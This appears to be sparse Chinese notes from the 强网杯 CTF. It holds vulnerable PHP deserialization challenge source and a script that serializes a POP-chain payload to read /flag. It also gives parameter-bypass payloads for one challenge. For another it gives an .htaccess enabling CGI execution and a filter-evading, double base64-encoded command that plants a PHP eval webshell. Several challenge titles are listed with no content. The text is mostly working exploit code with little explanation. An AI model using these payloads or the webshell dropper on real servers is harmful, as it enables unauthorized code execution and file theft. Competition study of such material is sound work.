强网杯

[强网先锋]赌徒

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';

    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';

    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';

    public function __get($name){
        $function = $this->a;
        return $function();
    }

    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>

<?php

class Start
{
    public $name;
    public $flag;

    public function __construct(){
        $this->name = new Info();
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';

    public function __construct(){
        $this->file['filename'] = new Room(new Room);
    }

}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';

    public function __construct($a=''){
        $this->a = $a;
        $this->filename = '/flag';
    }
}
echo urlencode(serialize(new Start()));

Hard_Penetration

题目内容：渗透测试主要以获取权限为主，这一次，你能获取到什么权限呢。

pop_master

EasySQL

HarderXSS

[强网先锋]寻宝

ppp[number1]=10245a&ppp[number2]=1e10&ppp[number3]=61823470&ppp[number4]=aaaaaaa&ppp[number5]={"a":1,"b":2,"c":3,"d":4,"e":5}

EasyWeb

Options +ExecCGI
AddHandler cgi-script .xx


#! /bin/sh

echo Content-type: text/html

echo ""

echo ZWNobyBQRDg5WlhaaGJDZ2tYMUJQVTFSYk1WMHBQejQ9IHwgYmFzZTY0IC1kID4gMS5waHA= | bas''e64 -d | sh